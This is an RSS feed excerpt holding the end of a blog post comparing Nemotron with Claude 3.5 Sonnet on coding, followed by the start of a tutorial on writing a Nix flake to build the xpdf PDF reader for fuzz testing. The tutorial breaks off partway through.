&lt;p>I found Nemotron disappointing at the few coding tasks I offered. I view these as easy to medium difficulty challenges, so it&amp;rsquo;s disappointing to see Nemotron fail.&lt;/p>
&lt;p>In both cases, output from Claude 3.5 Sonnet was strictly better than output from Nemotron.&lt;/p>
&lt;p>Still, it&amp;rsquo;s always exciting to see activity in self-hostable LLMs, so I hope they continue catching up to commercial models.&lt;/p></content:encoded></item><item><title>Using Nix to Fuzz Test a PDF Parser (Part One)</title><link>https://mtlynch.io/nix-fuzz-testing-1/</link><pubDate>Wed, 23 Oct 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/nix-fuzz-testing-1/</guid><description>&lt;p>Fuzz testing is a technique for automatically uncovering bugs in software. The problem is that it&amp;rsquo;s a pain to set up. Read any fuzz testing tutorial, and the first task is an hour of building tools from source and chasing down dependencies upon dependencies.&lt;/p>
&lt;p>I recently found that &lt;a href="https://nixos.org">Nix&lt;/a> eliminates a lot of the gruntwork from fuzz testing. I created a Nix configuration that kicks off a fuzz testing workflow with a single command. The only dependencies are Nix and git.&lt;/p></description><content:encoded>&lt;p>Fuzz testing is a technique for automatically uncovering bugs in software. The problem is that it&amp;rsquo;s a pain to set up. Read any fuzz testing tutorial, and the first task is an hour of building tools from source and chasing down dependencies upon dependencies.&lt;/p>
&lt;p>I recently found that &lt;a href="https://nixos.org">Nix&lt;/a> eliminates a lot of the gruntwork from fuzz testing. I created a Nix configuration that kicks off a fuzz testing workflow with a single command. The only dependencies are Nix and git.&lt;/p>
&lt;p>I used my Nix workflow to find an unpatched bug in a PDF renderer, even though I&amp;rsquo;m a beginner at both Nix and fuzz testing.&lt;/p>
&lt;h2 id="a-preview-of-the-solution">A preview of the solution&lt;/h2>
&lt;p>Here&amp;rsquo;s a preview of my final result: you can start fuzz testing &lt;a href="https://www.xpdfreader.com/">an open-source PDF reader&lt;/a> with a single command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix run gitlab:mtlynch/fuzz-xpdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The command should work on any Linux system with Nix installed, and maybe MacOS, too. After a few minutes of building, you should see a terminal UI that looks like this:&lt;/p>




















 
 
 







&lt;figure class="img" style="max-width: 591px">



 &lt;a href="https://mtlynch.io/nix-fuzz-testing-1/hfuzz.webp">
 &lt;img
 
 sizes="(min-width: 768px) 591px, 98vw"
 srcset='https://mtlynch.io/nix-fuzz-testing-1/hfuzz_hu_8ea06db6bcd7a785.webp 300w, https://mtlynch.io/nix-fuzz-testing-1/hfuzz.webp 591w'
 src="https://mtlynch.io/nix-fuzz-testing-1/hfuzz.webp" alt="Screenshot of honggfuzz&amp;#39;s terminal UI, showing progress fuzz testing pdftotext" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Nix allows me to install all dependencies and begin fuzz testing in a single command.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Here&amp;rsquo;s everything that happens when you run the command above:&lt;/p>
&lt;ol>
&lt;li>Nix downloads all tools and dependencies for the PDF reader and the testing toolchain.&lt;/li>
&lt;li>Nix compiles the PDF reader from source with proper instrumentation for fuzz testing.&lt;/li>
&lt;li>Nix downloads a set of edge-case PDFs for generating test inputs.&lt;/li>
&lt;li>Nix automatically generates new PDFs, feeds them to the PDF reader, and reports which inputs caused the PDF reader to crash.&lt;/li>
&lt;/ol>
&lt;p>If you want to change the fuzzing options or test a different version of the PDF reader, it&amp;rsquo;s as simple as editing a single file.&lt;/p>
&lt;p>I&amp;rsquo;m going to share how I created the fuzz testing workflow step by step. You can use the same methodology to find bugs in other projects.&lt;/p>
&lt;p>If you&amp;rsquo;re impatient, you can skip to the end to see my &lt;a href="https://gitlab.com/mtlynch/fuzz-xpdf">final result&lt;/a>.&lt;/p>
&lt;h2 id="whats-fuzz-testing">What&amp;rsquo;s fuzz testing?&lt;/h2>
&lt;p>Fuzz testing or &amp;ldquo;fuzzing&amp;rdquo; is a way of finding bugs in software by randomly generating input data and checking to see if the input causes the target application to crash.&lt;/p>
&lt;p>For example, to test a program that resized JPEG images, the workflow would look like this:&lt;/p>
&lt;ol>
&lt;li>Take a set of valid and/or malformed JPEG files.&lt;/li>
&lt;li>Randomly select one of the input files and randomly mutate it (flip some bits, add some data, delete some data).&lt;/li>
&lt;li>Feed the mutated input file to the image resizing program.&lt;/li>
&lt;li>If the mutated input caused the program to crash or hang, save the input for later analysis.&lt;/li>
&lt;li>Go back to step (2)&lt;/li>
&lt;/ol>
&lt;h2 id="whats-nix">What&amp;rsquo;s Nix?&lt;/h2>
&lt;p>&lt;a href="https://nixos.org">Nix&lt;/a> is a complex tool that does a lot of different things, many of which I don&amp;rsquo;t even understand.&lt;/p>
&lt;p>For the purposes of this article, it&amp;rsquo;s sufficient to understand two things about Nix:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Nix is a package manager&lt;/strong>, similar to &lt;code>apt&lt;/code> or &lt;code>yum&lt;/code>. Nix has 100k+ packages available to run within the Nix environment.&lt;/li>
&lt;li>&lt;strong>Nix is a build tool&lt;/strong>, similar to &lt;code>make&lt;/code> or &lt;code>Docker&lt;/code>. Nix allows you to define a set of build steps and the dependencies between them. When you request a build from Nix, it performs all the required steps to create the result you requested.&lt;/li>
&lt;/ul>
&lt;h2 id="requirements">Requirements&lt;/h2>
&lt;p>To follow along, you&amp;rsquo;ll only need two things:&lt;/p>
&lt;ul>
&lt;li>Nix (with the flakes feature enabled)
&lt;ul>
&lt;li>I recommend the &lt;a href="https://zero-to-nix.com/start/install">Determinate Systems installer&lt;/a>, which enables flakes by default.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>git&lt;/li>
&lt;/ul>
&lt;h2 id="selecting-a-fuzzing-target">Selecting a fuzzing target&lt;/h2>
&lt;p>The PDF reader I&amp;rsquo;m fuzz testing is called &lt;a href="https://xpdfreader.com">xpdf&lt;/a>. It&amp;rsquo;s a PDF viewer, but it ships with a suite of PDF utilities. One of the utilities, &lt;code>pdftotext&lt;/code> is an attractive fuzzing target because it&amp;rsquo;s so simple. It has no GUI; it just accepts a PDF as input and produces plaintext as output. It still exercises xpdf&amp;rsquo;s complex PDF parsing code, so if I find a bug in &lt;code>pdftotext&lt;/code>, it means I&amp;rsquo;ve probably found a bug in the whole xpdf suite.&lt;/p>
&lt;h2 id="putting-the-nix-boilerplate-in-place">Putting the Nix boilerplate in place&lt;/h2>
&lt;p>To start the project, I create a new folder and git repository.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>mkdir fuzz-xpdf &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#24909d">cd&lt;/span> fuzz-xpdf &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;amp;&amp;amp; git init
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, I create a file called &lt;code>flake.nix&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;compile xpdf from source for fuzzing&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/nixos-24.05&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.url = &lt;span style="color:#ed9d13">&amp;#34;github:numtide/flake-utils&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputs = { self, nixpkgs, flake-utils }:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.lib.eachDefaultSystem (system:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pkgs = nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> default = xpdf;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># TODO: I&amp;#39;ll populate this next.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> );
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is a Nix &amp;ldquo;flake,&amp;rdquo; which defines a set of Nix packages and applications.&lt;/p>
&lt;p>So far, this is just a boilerplate skeleton of a Nix flake. Most of it is not worth discussing except this line:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/nixos-24.05&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This tells Nix that when I want to pull in packages, I&amp;rsquo;m pulling them from the &lt;a href="https://github.com/NixOS/nixpkgs/tree/24.05">May 2024 branch&lt;/a> of the package repository, the latest stable branch at the time of this writing.&lt;/p>
&lt;p>This file is just a skeleton and won&amp;rsquo;t successfully build yet. To compile xpdf using Nix, I need to add a few bits.&lt;/p>
&lt;h2 id="specifying-a-source-tarball">Specifying a source tarball&lt;/h2>
&lt;p>To compile xpdf, I need a copy of its source code.&lt;/p>
&lt;p>First, I call &lt;a href="https://nixos.org/manual/nixpkgs/stable/#sec-using-stdenv">&lt;code>mkDerivation&lt;/code>&lt;/a>, which is how Nix defines build components. It requires a package name (&lt;code>pname&lt;/code>) and version, so I specify &lt;code>xpdf&lt;/code>, the package I want to fuzz, and &lt;code>4.05&lt;/code>, the latest published version of xpdf, as of this writing.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pname = &lt;span style="color:#ed9d13">&amp;#34;xpdf&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> version = &lt;span style="color:#ed9d13">&amp;#34;4.05&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The other required field in &lt;code>mkDerivation&lt;/code> is a &lt;code>src&lt;/code> property, which specifies how Nix should retrieve the inputs for the build. In the case of xpdf, the source tarball is located at this URL:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://web.archive.org/web/20250919084601/https://dl.xpdfreader.com/xpdf-4.05.tar.gz">https://web.archive.org/web/20250919084601/https://dl.xpdfreader.com/xpdf-4.05.tar.gz&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>I specify xpdf&amp;rsquo;s tarball URL using the &lt;code>pname&lt;/code> and &lt;code>version&lt;/code> variables so that when the version number changes in the future, the URL will still work:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> src = pkgs.fetchzip {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url = &lt;span style="color:#ed9d13">&amp;#34;https://dl.xpdfreader.com/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>pname&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">-&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>version&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">.tar.gz&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> extension = &lt;span style="color:#ed9d13">&amp;#34;tar.gz&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The problem is that Nix needs a hash of the tarball to determine whether the local version matches what&amp;rsquo;s on the server. If I run &lt;code>nix build&lt;/code> at this point, Nix complains that the hash is wrong:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>warning: found empty hash, assuming &amp;#39;sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=&amp;#39;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>error: hash mismatch in fixed-output derivation &amp;#39;/nix/store/z3ckfdjqpfd73xkkwsnpg4ijwj60vyz8-source.drv&amp;#39;:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> specified: sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> got: sha256-LBxKSrXTdoulZDjPiyYMaJr63jFHHI+VCgVJx310i/w=
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To fix the hash mismatch, I paste the value from the error message into my &lt;code>flake.nix&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> src = pkgs.fetchzip {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url = &lt;span style="color:#ed9d13">&amp;#34;https://dl.xpdfreader.com/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>pname&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">-&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>version&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">.tar.gz&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Paste the hash that appeared next to &amp;#34;got&amp;#34; in the error message.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hash = &lt;span style="color:#ed9d13">&amp;#34;sha256-LBxKSrXTdoulZDjPiyYMaJr63jFHHI+VCgVJx310i/w=&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> extension = &lt;span style="color:#ed9d13">&amp;#34;tar.gz&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="compiling-xpdf-from-source">Compiling xpdf from source&lt;/h2>
&lt;p>Now that I&amp;rsquo;ve shown Nix how to retrieve xpdf&amp;rsquo;s source code, I have to figure out how to build that code.&lt;/p>
&lt;p>The xpdf &lt;a href="https://gitlab.com/mtlynch/xpdf/-/blob/4.05/INSTALL#L32-39">compile instructions&lt;/a> list the following dependencies:&lt;/p>
&lt;blockquote>
&lt;p>Make sure you have the following installed:&lt;/p>
&lt;ul>
&lt;li>CMake 2.8.8 or newer&lt;/li>
&lt;li>FreeType 2.0.5 or newer&lt;/li>
&lt;li>Qt 5.x or 6.x (for xpdf only)&lt;/li>
&lt;li>libpng (for pdftopng and pdftohtml)&lt;/li>
&lt;li>zlib (for pdftopng and pdftohtml)&lt;/li>
&lt;/ul>&lt;/blockquote>
&lt;p>I only want to run &lt;code>pdftotext&lt;/code>, so I only need CMake and FreeType.&lt;/p>
&lt;p>Building a complex tool from source is usually a painful process. I want to build tool A, but it depends on library X, so I have to figure out how to install library X. It turns out library X depends on libraries Y and Z, so I have to figure out how to install those, and so on.&lt;/p>
&lt;p>Nix radically simplifies the process of building from source in two ways:&lt;/p>
&lt;ul>
&lt;li>Nix has one of the largest package repositories of any package manager, so most packages I need are already available.&lt;/li>
&lt;li>Nix packages are not tied to any OS version, so as long as there&amp;rsquo;s a Nix package for my architecture, I can use it.&lt;/li>
&lt;/ul>
&lt;p>Looking at the &lt;a href="https://search.nixos.org">Nix package repository&lt;/a>, I see that packages for CMake and FreeType are indeed already available:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://search.nixos.org/packages?channel=24.05&amp;amp;show=cmake&amp;amp;from=0&amp;amp;size=50&amp;amp;sort=relevance&amp;amp;type=packages&amp;amp;query=cmake">CMake&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://search.nixos.org/packages?channel=24.05&amp;amp;show=freetype&amp;amp;from=0&amp;amp;size=50&amp;amp;sort=relevance&amp;amp;type=packages&amp;amp;query=freetype">FreeType&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>I assume I only need CMake at build time, not at runtime, which means it belongs under &lt;code>nativeBuildInputs&lt;/code>. I probably need FreeType at runtime, so I specify it under &lt;code>buildInputs&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Build dependencies belong here.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nativeBuildInputs = &lt;span style="color:#6ab825;font-weight:bold">with&lt;/span> pkgs; [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cmake
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Runtime dependencies belong here.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> buildInputs = &lt;span style="color:#6ab825;font-weight:bold">with&lt;/span> pkgs; [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> freetype
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point, my &lt;code>flake.nix&lt;/code> looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;compile xpdf from source for fuzzing&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/nixos-24.05&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.url = &lt;span style="color:#ed9d13">&amp;#34;github:numtide/flake-utils&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputs = { self, nixpkgs, flake-utils }:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.lib.eachDefaultSystem (system:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pkgs = nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> default = xpdf;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pname = &lt;span style="color:#ed9d13">&amp;#34;xpdf&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> version = &lt;span style="color:#ed9d13">&amp;#34;4.05&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> src = pkgs.fetchzip {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url = &lt;span style="color:#ed9d13">&amp;#34;https://dl.xpdfreader.com/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>pname&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">-&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>version&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">.tar.gz&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hash = &lt;span style="color:#ed9d13">&amp;#34;sha256-LBxKSrXTdoulZDjPiyYMaJr63jFHHI+VCgVJx310i/w=&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> extension = &lt;span style="color:#ed9d13">&amp;#34;tar.gz&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nativeBuildInputs = &lt;span style="color:#6ab825;font-weight:bold">with&lt;/span> pkgs; [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cmake
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> buildInputs = &lt;span style="color:#6ab825;font-weight:bold">with&lt;/span> pkgs; [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> freetype
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> );
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When I build with Nix, it generates output under a folder called &lt;code>result&lt;/code>, so I create a file called &lt;code>.gitignore&lt;/code> that excludes that folder from source control:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;result&amp;#39;&lt;/span> &amp;gt; .gitignore
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, I add everything to my git repository:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>git add --all
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-warning">
 &lt;strong>Note&lt;/strong>: An annoying gotcha of Nix flakes is that Nix can&amp;rsquo;t see files unless they&amp;rsquo;re under git source control. If you get error messages about &amp;ldquo;file not found,&amp;rdquo; check that you&amp;rsquo;ve added the file to git.
&lt;/div>

&lt;p>Finally, I build the package from source with &lt;code>nix build&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix build
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If everything worked, there should be a set of binaries under &lt;code>./result/bin&lt;/code> that I can run:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ls ./result/bin/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pdfdetach pdffonts pdfimages pdfinfo pdftohtml pdftopng pdftoppm pdftops pdftotext
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Sure enough, &lt;code>pdftotext&lt;/code> works correctly:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ./result/bin/pdftotext -v
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pdftotext version 4.05 [www.xpdfreader.com]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Copyright 1996-2024 Glyph &amp;amp; Cog, LLC
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As a test I downloaded the &lt;a href="https://www.irs.gov/pub/irs-pdf/fw4.pdf">Form W-4 PDF&lt;/a> from the IRS website and fed it to &lt;code>pdftotext&lt;/code>:&lt;/p>
